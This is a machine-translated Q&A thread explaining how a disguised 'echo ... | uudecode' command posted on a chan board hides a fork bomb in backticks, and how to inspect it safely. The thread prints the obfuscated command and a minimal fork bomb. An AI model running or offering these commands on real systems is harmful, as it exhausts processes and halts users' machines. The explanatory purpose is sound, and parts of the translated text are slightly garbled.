这串文本如何以及为何会成为分叉炸弹?

这串文本如何以及为何会成为分叉炸弹?

在随机 chan 板上发现:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

不知何故,运行此命令会导致无限生成进程,该进程会肆意运行并导致机器停止运行。我看到有关“su”尝试执行多次的内容。

..这很奇怪,因为我只希望输出文本,而不是执行任何东西。

通过在线解码器运行此文本只会给我一批二进制输出:

uudecode 结果

这一团乱糟糟的文字究竟在做什么?有没有办法“安全地”查看它?

答案1

首先,我们来看一下整个命令:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

它包含一个双引号字符串,该字符串被回显到uudecode。但请注意,双引号字符串中有一个反引字符串。此字符串获得执行。该字符串为:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

如果我们查看其中的内容,我们会看到三个命令:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

表演括号扩展在中间的命令中,我们有:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

第一行尝试在后台运行一个无意义的命令。这并不重要。

第二行很重要:它定义了一个函数r,运行时会启动自身的两个副本。当然,每个副本都会启动另外两个副本。依此类推。

第三行运行r,启动fork炸弹。

除了反引号字符串之外的其余代码都只是为了混淆而编写的废话。

如何运行命令安全地

如果我们设置函数嵌套级别的限制,此代码可以安全运行。这可以使用 bash 的变量来实现FUNCNEST。在这里,我们将其设置为2,这将停止递归:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

上述错误消息表明:(a)未找到无意义的命令rYWdlY29j,(b) fork bomb 被 FUNCNEST 反复阻止,(c) 的输出echo不是以 开头begin,因此不是 的有效输入uudecode

最简单的叉子炸弹

如果我们移除遮蔽,fork 炸弹会是什么样子?正如 njzk2 和 gerrit 所建议的,它看起来应该是这样的:

echo "`r()(r&r);r`"

我们可以进一步简化:

r()(r&r); r

它由两个语句组成:一个定义 fork-bomb-function r,另一个定义 runs r

所有其他代码(包括到 的管道uudecode)都只是为了掩盖和误导。

原始形式还有另一层误导

OP 提供了一条链接到出现此代码的 chann 论坛讨论。如那里所示,代码如下所示:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

请注意关于此代码的第一条注释之一:

我上当了。只复制了回显和解码的部分,但仍然遭到了 forkbomb

在 chann board 上的形式中,人们会天真地认为问题出eval在对 的输出进行操作的语句上uudecode。这会导致人们认为删除eval可以解决问题。正如我们上面所看到的,这是错误的,而且非常危险。

答案2

回答问题的第二部分:

...有没有办法“安全地”查看它?

要解除此字符串的依赖,请将外部双引号替换为单引号,并对字符串内部的单引号进行转义。这样,shell 将不会执行任何代码,您实际上将所有内容直接传递给uudecode

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

评论中提到了其他替代方案:

kasperd 建议

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall 建议使用文本编辑器,粘贴内容,然后将该文件传递给 uudecode。

答案3

乍一看,你可能会认为输出到 shell 永远不会被执行。 这是尚真。问题已经出在输入. 这里的主要技巧是程序员所说的运算符优先级。这是 shell 尝试处理您的输入的顺序:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. 通过执行字符串内部的所有反引号命令来组成字符串。
  2. 通常是一个未知的命令,它会导致一些输出,如如果“rYWdl”不是拼写错误,您可以使用 command-not-found 来查找包含它的包...(取决于系统)
  3. 在后台执行 2.。您将永远不会看到输出。
  4. 定义fork炸弹函数。
  5. 命令分隔符。
  6. 运行叉子炸弹。
  7. 将6.的结果插入到字符串中。(我们从来没来过这里。)

错误在于认为这echo将是第一个要执行的命令,uudecode第二个才是。它们两个都永远不会被执行。

结论:双引号在 shell 上始终是危险的。

相关内容